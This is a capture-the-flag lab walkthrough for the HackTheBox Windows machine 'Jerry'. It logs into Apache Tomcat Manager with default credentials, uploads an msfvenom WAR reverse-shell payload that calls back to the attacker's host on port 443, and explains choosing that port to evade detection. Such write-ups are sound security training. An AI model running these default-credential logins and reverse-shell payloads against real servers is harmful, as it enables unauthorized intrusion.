Jerry

Platform: HackTheBox | Difficulty: Easy | OS: Windows Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine Jerry (Windows). Foothold via the vulnerable entry point; privilege escalation to root. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sVC -O 10.10.10.95

Enumeration highlights

• Detected OS: Windows.
• Scan used: nmap -p- -sVC -O 10.10.10.95.

Foothold

Vulnerability / Misconfiguration

1. First, let's scan all open ports and services for the host given using nmap.

sudo nmap -p- -sVC -O 10.10.10.95

1. Based from the output, there's only 1 port open, so we know what we're going to be attacking (port 8080).
2. Since the service is HTTP hence there must be a web server running.
3. Based on the service version, we can conclude that it's java web application.

THE WEB APP

1. When i clicked one of these buttons, i prompted to input username and password.

2. Our interest here is the Manager app so i did a small outsource about APACHE TOMCAT MANAGER DEFAULT CREDS.

https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown

1. Since the default creds not too many, so i bruteforce it every of it.

2. Logged in when i entered the username as tomcat and the pass as s3cret.

3. I think we can utilize this upload file feature.

INFO

In software engineering, a WAR file (Web Application Resource or Web application ARchive) is a file used to distribute a collection of JAR-files, 
JavaServer Pages, Java Servlets, Java classes, XML files, tag libraries, static web pages (HTML and related files) and other resources that together 
constitute a web application. 

1. Hence we can upload a WAR file that contains a payload or malicious script/code that can do a reverse shell back to us when we navigate that file.
2. Let's use msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war > reverseShell.war

-f -> stands for format generator

Reason using port number 443:
The shells actually coming from the target, assume that the connection is going to be made outbound from the target's network, we want to make sure that the outbound connections are not having these super weird destination ports, because that would light up a security anti-virus, if there's an
outbound connection going on port 443 which is simply just https traffic, outbound internets are allowed all the time. Hence it would not trigger the security.

1. Let's upload the war file.

2. When deployed it, it's not actually going to run the reverse shell immediately, we need to browse to it to trigger the actual payload inside and the actual payload stored inside a JSP file inside the war archive.

3. Now to execute our reverse shell, we need to be able to tell where our reverse shell is located at, we need the name of our JSP file which includes our payload inside of the war archive.

4. To identfiy the .jsp file simply run:

jar tf reverseShell.war

1. Now set the reverse shell to listening mode.

nc -lvnp 443

1. Now change the url to this:

http://10.10.10.95:8080/reverseShell/xkxgfypqtjsgeby.jsp

1. Great we got the reverse shell back from the machine and now we have persistent access from the target.

2. Let's check our privilege.

3. Great we are root!

4. Now let's list all files and directories.

5. Seems like there's nothing to be our interest here.

6. Let's go back 1 directory.

7. Let's jump to the Users directory.

8. Jump to Administrator.

9. Check what's inside Contacts.

10. Got nothing.

11. Now check Desktop.

12. Nice! Jump to the flags directory.

13. Great, we owned the system and the user!

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The WAR payload deployed through the Apache Tomcat manager ran with SYSTEM privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumerate everything; version strings map to CVEs.
2. Confirm each hypothesis with a test before building the exploit.
3. Chain foothold -> privilege escalation mechanically.